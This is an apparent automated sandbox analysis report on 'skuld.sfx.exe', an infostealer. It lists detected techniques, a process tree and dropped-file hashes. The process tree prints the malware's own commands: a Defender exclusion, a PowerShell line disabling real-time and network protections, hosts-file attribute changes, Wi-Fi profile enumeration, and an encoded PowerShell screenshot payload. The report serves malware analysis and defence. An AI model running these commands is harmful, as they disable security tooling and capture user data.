Resubmissions

25-07-2024 08:53

240725-ktbbssscrh 10

Analysis

  • max time kernel
    37s
  • max time network
    38s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-07-2024 08:53

General

  • Target

    skuld.sfx.exe

  • Size

    3.7MB

  • MD5

    ab89295610a3a53927f7479c8db9a8a9

  • SHA1

    6060c650d1edcc005982448912fa9a6e18067696

  • SHA256

    c128cf0d1afc230ead203fecf537e8161eb9cc1abd3cfbd7d9cf8def2cb4ae10

  • SHA512

    c2da7a1fc89382bc124f84d9d8150c47db370ecd2ba9d57d80dc0a53eaea6d80f527a22cd6ab1be2b85172f18b840116f821684c7644c8e5f15e53b2d732e1ab

  • SSDEEP

    98304:tWBHStoOEyvuShmCYhCahxI2vCcPUeybvRA5oFO9whPn:EBHSSOZuBC4Ct2vHcrbv18uhP

Malware Config

Signatures

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\skuld.sfx.exe
    "C:\Users\Admin\AppData\Local\Temp\skuld.sfx.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3992
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Adds Run key to start application
      • Maps connected drives based on registry
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1376
      • C:\Windows\system32\attrib.exe
        attrib +h +s C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe
        3⤵
        • Views/modifies file attributes
        PID:3704
      • C:\Windows\system32\attrib.exe
        attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
        3⤵
        • Views/modifies file attributes
        PID:2360
      • C:\Windows\System32\Wbem\wmic.exe
        wmic csproduct get UUID
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3936
      • C:\Windows\System32\Wbem\wmic.exe
        wmic path win32_VideoController get name
        3⤵
        • Detects videocard installed
        • Suspicious use of AdjustPrivilegeToken
        PID:3144
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:1348
      • C:\Windows\System32\Wbem\wmic.exe
        wmic os get Caption
        3⤵
          PID:2596
        • C:\Windows\System32\Wbem\wmic.exe
          wmic cpu get Name
          3⤵
            PID:452
          • C:\Windows\System32\Wbem\wmic.exe
            wmic path win32_VideoController get name
            3⤵
            • Detects videocard installed
            PID:1936
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:1628
          • C:\Windows\System32\Wbem\wmic.exe
            wmic csproduct get UUID
            3⤵
              PID:4208
            • C:\Windows\system32\attrib.exe
              attrib -r C:\Windows\System32\drivers\etc\hosts
              3⤵
              • Drops file in Drivers directory
              • Views/modifies file attributes
              PID:3256
            • C:\Windows\system32\attrib.exe
              attrib +r C:\Windows\System32\drivers\etc\hosts
              3⤵
              • Drops file in Drivers directory
              • Views/modifies file attributes
              PID:3784
            • C:\Windows\system32\netsh.exe
              netsh wlan show profiles
              3⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Network Configuration Discovery: Wi-Fi Discovery
              PID:220
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4380
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dudwubcz\dudwubcz.cmdline"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:3480
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE510.tmp" "c:\Users\Admin\AppData\Local\Temp\dudwubcz\CSCF43B07ED5D384640846A46D52E5981BD.TMP"
                  5⤵
                    PID:4812

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            d85ba6ff808d9e5444a4b369f5bc2730

            SHA1

            31aa9d96590fff6981b315e0b391b575e4c0804a

            SHA256

            84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

            SHA512

            8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            d28a889fd956d5cb3accfbaf1143eb6f

            SHA1

            157ba54b365341f8ff06707d996b3635da8446f7

            SHA256

            21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

            SHA512

            0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            03e72698ebf0b1b27c1c0dfc15360bfd

            SHA1

            095567036b2fdf8275403c5c9f1c8a3810ecc0cc

            SHA256

            8b62e1d2b1272157d7f4290fe4ebd2da89402b338d71b03b3f0f2834b5917730

            SHA512

            f0db3989953e89fe36f40a9960186ed173c22dfe77a867c215564ff75b4213f7685382b8f2d8eccba831356049866682dd428e896347245c88cca3ef1313e85b

          • C:\Users\Admin\AppData\Local\Temp\G4jxP5idHx\Display (1).png

            Filesize

            438KB

            MD5

            6ce624fae5859bfb83ea8294597d0a20

            SHA1

            3383c1c1d79f06c8bce63aff75458a4cd19f5e94

            SHA256

            d5ef5c220dbb36e53f865ed9e34d3c456a8fc4887715a678091d4a8dd52b2ba7

            SHA512

            0362aa5c36f6291e824977162208e26fa0b36061fe0cc36221f70a32cd8244d0c96adedbff9b8b222b00c064a67397f4bbccc9b86b670b93ee56290dbc04a316

          • C:\Users\Admin\AppData\Local\Temp\RESE510.tmp

            Filesize

            1KB

            MD5

            fc2efbcfcb44eb19630f3f0f648c0864

            SHA1

            7498a0c0cd765587d84e642fb6f57af4176efa9d

            SHA256

            5acbd12876c5680d4cb42ec9bf6438b3281f23cda840123873d3fabca119ff16

            SHA512

            93aae4877b812094845de5603a1e1d02d9c8e3245437ec2177325a110159a3f95c83898c0277401f5085f795126375fb9780a18f91b7b4bee78a7b7933537d46

          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe

            Filesize

            9.5MB

            MD5

            9352bacdf89952efe367da4ca81941d9

            SHA1

            0b98c08b9689d7c18155d31a279fce7e9b4926fe

            SHA256

            2f0124b95bb1bd8327039dc453d315719ce8c3f73b520821258ae062aba470ae

            SHA512

            a4984d5ee906467bf3f5108aed217f6c1ba0be7714a50e67b9e4cfecf531b05a45d736c581d0e8010ebeaee69c177c66db704130e1a4989080f91603bc54a1f7

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_byuch1mr.5go.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Local\Temp\dudwubcz\dudwubcz.dll

            Filesize

            4KB

            MD5

            d45af67ef86f72ca53be0c398ee3d771

            SHA1

            67a856e8282348bede0c7ea05995886cbb6688dd

            SHA256

            d5ab1b5ed52c1eb04369ab7c2bf4fe8ab6761999b2ec0a9cae7c7499b5ff2753

            SHA512

            4eeda086fff90c4b324b106fbe671e5bc1fe0500aaea4198d5e1d6fb9d78bdaff2b23817f48c5a6a0824e78f335247af79668e6d055fd6f03b90df759d45d7b5

          • C:\Windows\System32\drivers\etc\hosts

            Filesize

            2KB

            MD5

            6e2386469072b80f18d5722d07afdc0b

            SHA1

            032d13e364833d7276fcab8a5b2759e79182880f

            SHA256

            ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

            SHA512

            e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

          • \??\c:\Users\Admin\AppData\Local\Temp\dudwubcz\CSCF43B07ED5D384640846A46D52E5981BD.TMP

            Filesize

            652B

            MD5

            5d5c377b07eea9f81bbb39410778f039

            SHA1

            6605cbdaa34f0f252b18a6ab88e03828183ae37f

            SHA256

            63f6aa4407e2a539250a803b7fe01d8931fd38f06ebf9882573561c7acd10e4e

            SHA512

            1f377244f543710df64db9531322c5bfce00315061323fb910389ebe18427d7236a5b23e3a22f9961d9fce77c98d7fcc192bbd8d956d3c0cf407630800a7c1b4

          • \??\c:\Users\Admin\AppData\Local\Temp\dudwubcz\dudwubcz.0.cs

            Filesize

            1004B

            MD5

            c76055a0388b713a1eabe16130684dc3

            SHA1

            ee11e84cf41d8a43340f7102e17660072906c402

            SHA256

            8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

            SHA512

            22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

          • \??\c:\Users\Admin\AppData\Local\Temp\dudwubcz\dudwubcz.cmdline

            Filesize

            607B

            MD5

            78003370b809463d351ebd38c1fe565e

            SHA1

            8aefb3602e2369e435e471f013933ee9a321bc67

            SHA256

            094dc5e619fdb933663b9a72e731c720ccbbec2da76264fea420861dc5afae52

            SHA512

            e2a501002638a6b5b910ac2a6baca86fd3e28e5479d1548a6ee1d03326a3405c570f489da4429985fc50727ecc022daf68fa2fafc8aca6270c2ea8e332d93419

          • memory/1348-22-0x0000012E4D4F0000-0x0000012E4D512000-memory.dmp

            Filesize

            136KB

          • memory/4380-67-0x00000261CD810000-0x00000261CD818000-memory.dmp

            Filesize

            32KB